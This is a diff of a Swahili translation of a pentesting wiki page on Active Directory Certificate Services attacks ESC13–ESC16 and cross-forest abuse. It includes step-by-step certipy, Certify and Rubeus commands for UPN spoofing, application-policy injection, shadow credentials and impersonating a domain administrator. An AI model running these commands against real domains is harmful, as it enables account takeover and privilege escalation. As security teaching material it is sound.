[Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) kugundua OIDToGroupLink: ```bash Enumerating OIDs ------------------------ @@ -660,103 +674,110 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local ``` ### Abuse Scenario -Pata ruhusa ya mtumiaji ambayo inaweza kutumia `certipy find` au `Certify.exe find /showAllPermissions`. +Tafuta ruhusa ya mtumiaji; unaweza kutumia `certipy find` au `Certify.exe find /showAllPermissions`. -Ikiwa `John` ana ruhusa ya kujiandikisha `VulnerableTemplate`, mtumiaji anaweza kurithi haki za kundi la `VulnerableGroup`. +Iwapo `John` ana ruhusa ya kujiandikisha kwa `VulnerableTemplate`, mtumiaji anaweza kurithi ruhusa za kikundi `VulnerableGroup`. -Kila kinachohitajika ni kutaja template, itapata cheti chenye haki za OIDToGroupLink. +Yote anachohitaji kufanya ni kutaja kiolezo, atapata cheti chenye haki za OIDToGroupLink. ```bash certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate' ``` -## Vulnerable Certificate Renewal Configuration- ESC14 +## Usanidi dhaifu wa Urejeshaji wa Vyeti - ESC14 -### Explanation +### Maelezo -Maelezo kwenye https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping ni ya kina sana. Hapa chini kuna nukuu ya maandiko ya asili. +Maelezo katika https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping ni ya kina sana. Hapa chini ni nukuu ya maandishi ya asili. -ESC14 inashughulikia udhaifu unaotokana na "michakato dhaifu ya wazi ya leseni", hasa kupitia matumizi mabaya au usanidi usio salama wa sifa ya `altSecurityIdentities` kwenye akaunti za mtumiaji au kompyuta za Active Directory. Sifa hii yenye thamani nyingi inawawezesha wasimamizi kuunganisha kwa mikono leseni za X.509 na akaunti ya AD kwa madhumuni ya uthibitishaji. Wakati inapojaa, michakato hii ya wazi inaweza kubadilisha mantiki ya kawaida ya michakato ya leseni, ambayo kwa kawaida inategemea UPNs au majina ya DNS katika SAN ya leseni, au SID iliyojumuishwa katika kiambatisho cha usalama `szOID_NTDS_CA_SECURITY_EXT`. +ESC14 inashughulikia nyufa zinazotokana na "weak explicit certificate mapping", hasa kupitia matumizi mabaya au usanidi usio salama wa sifa ya `altSecurityIdentities` kwenye akaunti za mtumiaji au kompyuta za Active Directory. Sifa hii yenye thamani nyingi inaruhusu wasimamizi kuhusisha kwa mkono vyeti vya X.509 na akaunti ya AD kwa madhumuni ya uthibitishaji. Inapojaa, ulinganifu huu wazi unaweza kubadilisha mantiki ya kimsingi ya ulinganifu wa vyeti, ambayo kawaida hutegemea UPNs au majina ya DNS katika SAN ya cheti, au SID iliyojengwa ndani ya ugani wa usalama `szOID_NTDS_CA_SECURITY_EXT`. -"Mchakato dhaifu" hutokea wakati thamani ya mfuatano inayotumika ndani ya sifa ya `altSecurityIdentities` kutambua leseni ni pana sana, rahisi kudhaniwa, inategemea mashamba yasiyo ya kipekee ya leseni, au inatumia vipengele vya leseni ambavyo vinaweza kudanganywa kwa urahisi. Ikiwa mshambuliaji anaweza kupata au kuunda leseni ambayo sifa zake zinakidhi mchakato dhaifu wa wazi wa akaunti yenye mamlaka, wanaweza kutumia leseni hiyo kuthibitisha kama na kuiga akaunti hiyo. +Ulinganifu "dhaifu" hutokea pale thamani ya string inayotumika ndani ya sifa `altSecurityIdentities` kutambua cheti ni ya upana sana, rahisi kukisia, inaanzia kwenye nyanja za cheti zisizo za kipekee, au inatumia vipengele vya cheti ambavyo ni rahisi kuiga. Ikiwa mshambuliaji anaweza kupata au kutengeneza cheti ambacho sifa zake zinaendana na ulinganifu uliofafanuliwa vibaya kwa akaunti yenye ruhusa, wanaweza kutumia cheti hicho kuthibitisha na kuigiza akaunti hiyo. -Mifano ya mfuatano wa `altSecurityIdentities` ambao unaweza kuwa dhaifu ni pamoja na: +Mifano ya nyuzi za ulinganifu za `altSecurityIdentities` zinazoweza kuwa dhaifu ni pamoja na: -- Mchakato kwa kutumia jina la kawaida la Mhusika (CN): e.g., `X509:CN=SomeUser`. Mshambuliaji anaweza kuwa na uwezo wa kupata leseni yenye CN hii kutoka chanzo kisicho salama. -- Kutumia Majina ya Mtoaji yasiyo maalum (DNs) au Majina ya Mhusika bila sifa zaidi kama nambari maalum ya serial au kitambulisho cha funguo za mhusika: e.g., `X509:CN=SomeInternalCACN=GenericUser`. -- Kutumia mifumo mingine inayoweza kutabiriwa au vitambulisho visivyo vya kiusalama ambavyo mshambuliaji anaweza kutimiza katika leseni wanayoweza kupata au kudanganya (ikiwa wamevamia CA au kupata templeti dhaifu kama ilivyo katika ESC1). +- Kulinganisha kwa kutumia tu Subject Common Name (CN) ya kawaida: mfano, `X509:CN=SomeUser`. Mshambuliaji anaweza kupata cheti chenye CN hii kutoka kwa chanzo kisicho salama. +- Kutumia Issuer Distinguished Names (DNs) au Subject DNs ambazo ni za jumla sana bila sifa za ziada kama nambari maalum ya serial au subject key identifier: mfano, `X509:CN=SomeInternalCACN=GenericUser`. +- Kutumia mifumo mingine inayoweza kutabirika au vitambulisho visivyo vya kriptografia ambavyo mshambuliaji anaweza kutosheleza katika cheti anachoweza kupata kwa halali au kutengeneza (ikiwa wamevamia CA au wamegundua template dhaifu kama ilivyo katika ESC1). -Sifa ya `altSecurityIdentities` inasaidia mifumo mbalimbali ya mchakato, kama vile: +Sifa ya `altSecurityIdentities` inaunga mkono miundo mbalimbali ya ulinganifu, kama: -- `X509:IssuerDNSubjectDN` (inachanganya kwa Mtoaji kamili na DN ya Mhusika) -- `X509:SubjectKeyIdentifier` (inachanganya kwa thamani ya kiambatisho cha Kitambulisho cha Funguo za Mhusika wa leseni) -- `X509:SerialNumberBackedByIssuerDN` (inachanganya kwa nambari ya serial, kwa njia isiyo ya moja kwa moja inayoainishwa na Mtoaji DN) - hii si muundo wa kawaida, kwa kawaida ni `IssuerDNSerialNumber`. -- `X509:EmailAddress` (inachanganya kwa jina la RFC822, kwa kawaida anwani ya barua pepe, kutoka SAN) -- `X509:Thumbprint-of-Raw-PublicKey` (inachanganya kwa hash ya SHA1 ya funguo ya umma ya leseni - kwa ujumla ni imara) +- `X509:IssuerDNSubjectDN` (inalinganisha kwa Issuer na Subject DN kamili) +- `X509:SubjectKeyIdentifier` (inalinganisha kwa thamani ya ugani wa Subject Key Identifier wa cheti) +- `X509:SerialNumberBackedByIssuerDN` (inalinganisha kwa nambari ya serial, kwa mtazamo inafafanuliwa kwa Implicit na Issuer DN) - hii si muundo wa kawaida, kawaida ni `IssuerDNSerialNumber`. +- `X509:EmailAddress` (inalinganisha kwa jina la RFC822, kawaida anwani ya barua pepe, kutoka SAN) +- `X509:Thumbprint-of-Raw-PublicKey` (inalinganisha kwa hash ya SHA1 ya public key ghafi ya cheti - kwa ujumla imara) -Usalama wa michakato hii unategemea sana usahihi, upekee, na nguvu za kiusalama za vitambulisho vya leseni vilivyochaguliwa vinavyotumika katika mfuatano wa mchakato. Hata na hali za nguvu za kuunganisha leseni zikiwa zimewezeshwa kwenye Watawala wa Kikoa (ambazo kwa kawaida zinaathiri michakato isiyo ya moja kwa moja inayotegemea SAN UPNs/DNS na kiambatisho cha SID), kuingia kwa `altSecurityIdentities` iliyosanidiwa vibaya bado kunaweza kuwasilisha njia ya moja kwa moja ya kuiga ikiwa mantiki ya mchakato yenyewe ina kasoro au ni ya kupitisha sana. -### Abuse Scenario +Usalama wa ulinganifu huu unategemea kwa kiasi kikubwa utofauti, kipekee, na nguvu za kriptografia za vitambulisho vya cheti vilivyotumika katika string ya ulinganifu. Hata kwa kuweka modes imara za certificate binding kwenye Domain Controllers (ambazo kwa msingi zinaathiri ulinganifu wa implicit unaotegemea SAN UPNs/DNS na ugani wa SID), kipengele cha `altSecurityIdentities` kilichosanifiwa vibaya bado kinaweza kutoa njia ya moja kwa moja ya kuigiza akaunti ikiwa mantiki ya ulinganifu yenyewe imeharibika au ni yenye kupitisha sana. -ESC14 inalenga **michakato ya wazi ya leseni** katika Active Directory (AD), hasa sifa ya `altSecurityIdentities`. Ikiwa sifa hii imewekwa (kwa muundo au usanidi mbaya), washambuliaji wanaweza kuiga akaunti kwa kuwasilisha leseni zinazolingana na mchakato. +### Hali ya Matumizi Mabaya + +ESC14 inalenga **explicit certificate mappings** katika Active Directory (AD), hasa sifa ya `altSecurityIdentities`. Ikiwa sifa hii imewekwa (kwa kusudi au kwa usanidi mbaya), washambuliaji wanaweza kuigiza akaunti kwa kuwasilisha vyeti vinavyolingana na ulinganifu. #### Scenario A: Mshambuliaji Anaweza Kuandika kwenye `altSecurityIdentities` -**Sharti**: Mshambuliaji ana ruhusa ya kuandika kwenye sifa ya `altSecurityIdentities` ya akaunti lengwa au ruhusa ya kuipa katika mfumo wa moja ya ruhusa zifuatazo kwenye kitu cha AD kilicholengwa: -- Andika mali `altSecurityIdentities` -- Andika mali `Public-Information` -- Andika mali (zote) +**Masharti ya awali**: Mshambuliaji ana ruhusa za kuandika kwenye sifa ya `altSecurityIdentities` ya akaunti lengwa au ruhusa ya kuipa katika moja ya ruhusa zifuatazo kwenye kituo cha AD lengwa: +- Write property `altSecurityIdentities` +- Write property `Public-Information` +- Write property (all) - `WriteDACL` - `WriteOwner`* - `GenericWrite` - `GenericAll` -- Mmiliki*. -#### Scenario B: Lengo Lina Mchakato Dhaifu kupitia X509RFC822 (Barua pepe) +- Owner*. -- **Sharti**: Lengo lina mchakato dhaifu wa X509RFC822 katika altSecurityIdentities. Mshambuliaji anaweza kuweka sifa ya barua ya mwathirika ili iendane na jina la X509RFC822 la lengo, kujiandikisha leseni kama mwathirika, na kuitumia kuthibitisha kama lengo. -#### Scenario C: Lengo Lina Mchakato wa X509IssuerSubject +#### Scenario B: Lengo Lina Ulinganifu Dhaifu kupitia X509RFC822 (Barua pepe) -- **Sharti**: Lengo lina mchakato dhaifu wa wazi wa X509IssuerSubject katika `altSecurityIdentities`. Mshambuliaji anaweza kuweka sifa ya `cn` au `dNSHostName` kwenye kanuni ya mwathirika ili iendane na mhusika wa mchakato wa X509IssuerSubject wa lengo. Kisha, mshambuliaji anaweza kujiandikisha leseni kama mwathirika, na kutumia leseni hii kuthibitisha kama lengo. -#### Scenario D: Lengo Lina Mchakato wa X509SubjectOnly +- **Masharti ya awali**: Lengo lina ulinganifu dhaifu wa X509RFC822 katika altSecurityIdentities. Mshambuliaji anaweza kuweka sifa ya mail ya mwathirika ili ifanane na jina la X509RFC822 la lengo, kusajili/kuomba cheti kama mwathirika, na kukitumia kuthibitisha kama lengo. + +#### Scenario C: Lengo Lina Ulinganifu X509IssuerSubject + +- **Masharti ya awali**: Lengo lina ulinganifu wazi dhaifu wa X509IssuerSubject katika `altSecurityIdentities`. Mshambuliaji anaweza kuweka sifa za `cn` au `dNSHostName` kwenye principal ya mwathirika ili zifananane na subject ya ulinganifu wa X509IssuerSubject wa lengo. Kisha, mshambuliaji anaweza kusajili cheti kama mwathirika, na kutumia cheti hicho kuthibitisha kama lengo. + +#### Scenario D: Lengo Lina Ulinganifu X509SubjectOnly + +- **Masharti ya awali**: Lengo lina ulinganifu wazi dhaifu wa X509SubjectOnly katika `altSecurityIdentities`. Mshambuliaji anaweza kuweka sifa za `cn` au `dNSHostName` kwenye principal ya mwathirika ili zifananane na subject ya ulinganifu wa X509SubjectOnly wa lengo. Kisha, mshambuliaji anaweza kusajili cheti kama mwathirika, na kutumia cheti hicho kuthibitisha kama lengo. + +### Operesheni halisi -- **Sharti**: Lengo lina mchakato dhaifu wa wazi wa X509SubjectOnly katika `altSecurityIdentities`. Mshambuliaji anaweza kuweka sifa ya `cn` au `dNSHostName` kwenye kanuni ya mwathirika ili iendane na mhusika wa mchakato wa X509SubjectOnly wa lengo. Kisha, mshambuliaji anaweza kujiandikisha leseni kama mwathirika, na kutumia leseni hii kuthibitisha kama lengo. -### concrete operations #### Scenario A -Omba leseni ya templeti ya leseni `Machine` +Omba cheti kwa kutumia template ya cheti `Machine` ```bash .\Certify.exe request /ca: /template:Machine /machine ``` -Hifadhi na kubadilisha cheti +Hifadhi na ubadilishe cheti ```bash certutil -MergePFX .\esc13.pem .\esc13.pfx ``` -Thibitisha (ukitumia cheti) +Thibitisha (kwa kutumia cheti) ```bash .\Rubeus.exe asktgt /user: /certificate:C:\esc13.pfx /nowrap ``` -Safisha (hiari) +Usafishaji (hiari) ```bash Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:DC=local,DC=external,CN=external-EXTCA01-CA250000000000a5e838c6db04f959250000006c" ``` -Kwa mbinu maalum za shambulio katika hali mbalimbali za shambulio, tafadhali rejelea yafuatayo: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). +Kwa njia za mashambulizi maalum katika matukio mbalimbali ya mashambulizi, tafadhali rejea yafuatayo: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). -## Sera za Maombi za EKUwu (CVE-2024-49019) - ESC15 +## EKUwu Application Policies(CVE-2024-49019) - ESC15 ### Maelezo -Maelezo kwenye https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc ni ya kina sana. Hapa chini kuna nukuu ya maandiko ya asili. +Maelezo kwenye https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc ni ya kina sana. Hapa chini ni nukuu ya maandishi ya asili. -Kwa kutumia templeti za cheti za toleo la 1 zilizojengwa ndani, mshambuliaji anaweza kuunda CSR ili kujumuisha sera za maombi ambazo zinapewa kipaumbele zaidi kuliko sifa za Matumizi ya Funguo ya Kupanuliwa zilizowekwa kwenye templeti. Sharti pekee ni haki za kujiandikisha, na inaweza kutumika kuzalisha uthibitisho wa mteja, wakala wa ombi la cheti, na cheti za kusaini msimbo kwa kutumia templeti ya **_WebServer_**. +Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template -### Unyanyasaji +### Matumizi mabaya -Yafuatayo yanarejelea [kiungo hiki](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), Bonyeza kuona mbinu za matumizi zilizoelezwa kwa undani zaidi. +The following is referenced to [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods. -Amri ya `find` ya Certipy inaweza kusaidia kubaini templeti za V1 ambazo zinaweza kuwa hatarini kwa ESC15 ikiwa CA haijarekebishwa. + +Certipy's `find` command can help identify V1 templates that are potentially susceptible to ESC15 if the CA is unpatched. ```bash certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100 ``` -#### Scenario A: Direct Impersonation via Schannel +#### Senario A: Kuiga Moja kwa Moja kupitia Schannel -**Step 1: Request a certificate, injecting "Client Authentication" Application Policy and target UPN.** Mshambuliaji `attacker@corp.local` anawalenga `administrator@corp.local` akitumia kigezo cha "WebServer" V1 (ambacho kinaruhusu mjiandikishaji kutoa somo). +**Hatua 1: Omba cheti, ukiingiza "Client Authentication" Application Policy na UPN ya lengo.** Mshambuliaji `attacker@corp.local` analenga `administrator@corp.local` akitumia template ya "WebServer" V1 (ambayo inaruhusu enrollee-supplied subject). ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -765,17 +786,17 @@ certipy req \ -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \ -application-policies 'Client Authentication' ``` -- `-template 'WebServer'`: Kigezo dhaifu cha V1 chenye "Mji wa kujiandikisha unatoa somo". -- `-application-policies 'Client Authentication'`: Inatia OID `1.3.6.1.5.5.7.3.2` katika nyongeza ya Sera za Maombi ya CSR. -- `-upn 'administrator@corp.local'`: Inaweka UPN katika SAN kwa ajili ya kujifanya. +- `-template 'WebServer'`: Template dhaifu ya V1 yenye "Enrollee supplies subject". +- `-application-policies 'Client Authentication'`: Inaingiza OID `1.3.6.1.5.5.7.3.2` katika extension ya Application Policies ya CSR. +- `-upn 'administrator@corp.local'`: Inaweka UPN katika SAN kwa ajili ya kuiga. -**Step 2: Authenticate via Schannel (LDAPS) using the obtained certificate.** +**Hatua ya 2: Thibitisha kupitia Schannel (LDAPS) ukitumia cheti kilichopatikana.** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell ``` -#### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse +#### Senario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse -**Step 1: Omba cheti kutoka kwa kiolezo cha V1 (pamoja na "Mwandikaji anatoa mada"), ukichanganya "Sera ya Ombi la Cheti" ya Programu.** Cheti hiki ni kwa mshambuliaji (`attacker@corp.local`) kuwa wakala wa usajili. Hakuna UPN iliyotajwa kwa kitambulisho cha mshambuliaji hapa, kwani lengo ni uwezo wa wakala. +**Hatua 1: Omba cheti kutoka kwa template ya V1 (with "Enrollee supplies subject"), ukiongeza "Certificate Request Agent" Application Policy.** Cheti hiki ni kwa ajili ya attacker (`attacker@corp.local`) ili awe enrollment agent. Hakuna UPN imeainishwa kwa utambulisho wa mshambuliaji hapa, kwani lengo ni uwezo wa enrollment agent. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -783,9 +804,9 @@ certipy req \ -ca 'CORP-CA' -template 'WebServer' \ -application-policies 'Certificate Request Agent' ``` -- `-application-policies 'Certificate Request Agent'`: Inajumuisha OID `1.3.6.1.4.1.311.20.2.1`. +- `-application-policies 'Certificate Request Agent'`: Inaingiza OID `1.3.6.1.4.1.311.20.2.1`. -**Hatua ya 2: Tumia cheti cha "agent" kuomba cheti kwa niaba ya mtumiaji mwenye mamlaka.** Hii ni hatua kama ya ESC3, ikitumia cheti kutoka Hatua ya 1 kama cheti cha agent. +**Hatua 2: Tumia cheti cha "agent" kuomba cheti kwa niaba ya mtumiaji lengwa mwenye ruhusa za juu.** Hii ni hatua inayofanana na ESC3, ikitumia cheti kutoka Hatua ya 1 kama cheti cha "agent". ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -793,52 +814,52 @@ certipy req \ -ca 'CORP-CA' -template 'User' \ -pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator' ``` -**Hatua ya 3: Thibitisha kama mtumiaji mwenye mamlaka kwa kutumia cheti cha "kwa niaba ya".** +**Hatua ya 3: Thibitisha kama mtumiaji mwenye ruhusa kwa kutumia cheti cha "on-behalf-of".** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' ``` -## Security Extension Disabled on CA (Globally)-ESC16 +## Kiendelezaji cha Usalama Kimezimwa kwenye CA (Globally)-ESC16 -### Explanation +### Maelezo -**ESC16 (Kuinua Mamlaka kupitia Kukosekana kwa szOID_NTDS_CA_SECURITY_EXT Extension)** inahusisha hali ambapo, ikiwa usanidi wa AD CS haukuthibitisha kujumuishwa kwa **szOID_NTDS_CA_SECURITY_EXT** extension katika vyeti vyote, mshambuliaji anaweza kutumia hii kwa: +**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** inarejea hali ambapo, ikiwa usanidi wa AD CS hautoi kulazimisha kuingizwa kwa kiendelezaji **szOID_NTDS_CA_SECURITY_EXT** katika vyeti vyote, mshambuliaji anaweza kutumia hili kwa: 1. Kuomba cheti **bila SID binding**. -2. Kutumia cheti hiki **kwa uthibitisho kama akaunti yoyote**, kama vile kujifanya kuwa akaunti yenye mamlaka ya juu (mfano, Msimamizi wa Kikoa). +2. Kutumia cheti hiki **kwa uthibitisho kama akaunti yoyote**, kama kuiga akaunti yenye ruhusa kubwa (mfano, Domain Administrator). -You can also refer to this article to learn more about the detailed principle:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 +Unaweza pia kurejea makala hii ili kujifunza zaidi kuhusu kanuni za kina:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 -### Abuse +### Matumizi mabaya -The following is referenced to [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally),Click to see more detailed usage methods. +Ifuatayo inarejea [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Bonyeza kuona njia za matumizi za kina. -To identify whether the Active Directory Certificate Services (AD CS) environment is vulnerable to **ESC16** +Ili kubaini kama mazingira ya Active Directory Certificate Services (AD CS) yako hatarini kwa **ESC16** ```bash certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable ``` -**Hatua ya 1: Soma UPN ya awali ya akaunti ya mwathirika (Hiari - kwa urejeleaji).** +**Hatua 1: Soma UPN ya awali ya akaunti ya mwathirika (Hiari - kwa urejesho). ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -user 'victim' \ read ``` -**Hatua ya 2: Sasisha UPN wa akaunti ya mwathirika kwa `sAMAccountName` ya msimamizi wa lengo.** +**Hatua 2: Sasisha UPN ya akaunti ya mwathiri kuwa `sAMAccountName` ya msimamizi lengwa.** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -upn 'administrator' \ -user 'victim' update ``` -**Hatua ya 3: (Ikiwa inahitajika) Pata akreditivu za akaunti ya "madhara" (mfano, kupitia Shadow Credentials).** +**Hatua 3: (Ikiwa inahitajika) Pata credentials za akaunti ya "victim" (kwa mfano, kupitia Shadow Credentials).** ```shell certipy shadow \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -account 'victim' \ auto ``` -**Hatua ya 4: Omba cheti kama mtumiaji "mhasiriwa" kutoka _kigezo chochote cha uthibitishaji wa mteja_ (mfano, "Mtumiaji") kwenye CA iliyo hatarini ya ESC16.** Kwa sababu CA ina udhaifu wa ESC16, itakosa kiotomatiki kiambatisho cha usalama cha SID kutoka kwa cheti kilichotolewa, bila kujali mipangilio maalum ya kigezo hiki kwa kiambatisho. Weka mabadiliko ya mazingira ya cache ya akidi ya Kerberos (amri ya shell): +**Hatua 4: Omba cheti kama mtumiaji "victim" kutoka kwa _any suitable client authentication template_ (e.g., "User") kwenye ESC16-vulnerable CA.** Kwa sababu CA ni dhaifu dhidi ya ESC16, itatoa kwa otomatiki SID security extension kutoka kwenye cheti kilichotolewa, bila kujali mipangilio maalum ya template kwa ugani huu. Set the Kerberos credential cache environment variable (shell command): ```bash export KRB5CCNAME=victim.ccache ``` @@ -849,35 +870,37 @@ certipy req \ -target 'CA.CORP.LOCAL' -ca 'CORP-CA' \ -template 'User' ``` -**Hatua ya 5: Rudisha UPN wa akaunti ya "mwathirika".** +**Hatua ya 5: Rudisha UPN ya akaunti ya "victim".** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -upn 'victim@corp.local' \ -user 'victim' update ``` -**Hatua ya 6: Thibitisha kama msimamizi wa lengo.** +**Hatua 6: Thibitisha kama msimamizi wa lengo.** ```bash certipy auth \ -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \ -username 'administrator' -domain 'corp.local' ``` -## Kupata Miti kwa Vyeti Iliyofafanuliwa kwa Sauti ya Kupita +## Kuvuruga Misitu kwa Vyeti Kumeelezwa kwa Sauti Isiyo ya Moja -### Kuvunjika kwa Imani za Miti na CAs Zilizoshindwa +### Kuvunjwa kwa Trusts za Misitu na CA Zilizoharibiwa -Mipangilio ya **kujiandikisha kwa msitu wa kuvuka** imefanywa kuwa rahisi. **Cheti cha CA cha mzizi** kutoka msitu wa rasilimali **kimechapishwa kwa misitu ya akaunti** na wasimamizi, na **vyeti vya CA ya biashara** kutoka msitu wa rasilimali **vimeongezwa kwenye `NTAuthCertificates` na vyombo vya AIA katika kila msitu wa akaunti**. Ili kufafanua, mpangilio huu unampa **CA katika msitu wa rasilimali udhibiti kamili** juu ya misitu mingine yote ambayo inasimamia PKI. Ikiwa CA hii itakuwa **imevunjwa na washambuliaji**, vyeti vya watumiaji wote katika misitu ya rasilimali na akaunti vinaweza **kutengenezwa na wao**, hivyo kuvunja mpaka wa usalama wa msitu. +Usanidi wa **cross-forest enrollment** umefanywa kuwa rahisi. **root CA certificate** kutoka resource forest huchapishwa kwa account forests na wasimamizi, na vyeti za **enterprise CA** kutoka resource forest zinaongezwa kwenye `NTAuthCertificates` na AIA containers katika kila account forest. Ili kufafanua, mpangilio huu unamkabidhi **CA katika resource forest udhibiti kamili** juu ya misitu mingine yote ambayo inasimamia PKI. Ikiwa CA hii itavamiwa na wadukuzi, vyeti kwa watumiaji wote katika resource na account forests vinaweza kutengenezwa kwa uongo na wao, na hivyo kuvunja mpaka wa usalama wa forest. -### Haki za Kujiandikisha Zilizotolewa kwa Wakuu wa Kigeni +### Haki za Enrollment Zilizotolewa kwa Foreign Principals -Katika mazingira ya misitu mingi, tahadhari inahitajika kuhusu CAs za Biashara ambazo **zinachapisha mifano ya vyeti** ambayo inaruhusu **Watumiaji Waliothibitishwa au wakuu wa kigeni** (watumiaji/vikundi vya nje ya msitu ambao CA ya Biashara inahusisha) **haki za kujiandikisha na kuhariri**.\ -Baada ya uthibitisho kupitia imani, **SID ya Watumiaji Waliothibitishwa** inaongezwa kwenye token ya mtumiaji na AD. Hivyo, ikiwa kikoa kina CA ya Biashara yenye mfano ambao **unaruhusu haki za kujiandikisha kwa Watumiaji Waliothibitishwa**, mfano unaweza kuwa **ukijiandikisha na mtumiaji kutoka msitu tofauti**. Vivyo hivyo, ikiwa **haki za kujiandikisha zinatolewa wazi kwa mkuu wa kigeni na mfano**, **uhusiano wa udhibiti wa ufikiaji wa msitu wa kuvuka unaundwa**, ukimwezesha mkuu kutoka msitu mmoja **kujiandikisha katika mfano kutoka msitu mwingine**. +Katika mazingira ya multi-forest, tahadhari inahitajika kuhusu Enterprise CAs ambazo zinachapisha **certificate templates** ambazo zinawaruhusu **Authenticated Users or foreign principals** (watumiaji/vikundi nje ya forest ambayo Enterprise CA inamilikiwa) haki za **enrollment and edit rights**.\ +Baada ya uthibitisho kupitia trust, **Authenticated Users SID** inaongezwa kwenye token ya mtumiaji na AD. Hivyo, ikiwa domain ina Enterprise CA yenye template inayoruhusu **Authenticated Users enrollment rights**, template inaweza kusajiliwa na mtumiaji kutoka forest tofauti. Vivyo hivyo, ikiwa **enrollment rights zimetolewa wazi kwa foreign principal na template**, basi **cross-forest access-control relationship inaundwa**, ikimruhusu principal kutoka forest moja **kuenroll kwenye template ya forest nyingine**. -Mifano yote inasababisha **kuongezeka kwa uso wa shambulio** kutoka msitu mmoja hadi mwingine. Mipangilio ya mfano wa cheti inaweza kutumika na mshambuliaji kupata haki za ziada katika kikoa cha kigeni. +Matukio yote mawili huongeza **attack surface** kutoka forest moja hadi nyingine. Mipangilio ya certificate template inaweza kutumiwa na mwadui kupata vibali zaidi katika domain ya kigeni. -## Marejeo +## References - [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) {{#include ../../../banners/hacktricks-training.md}}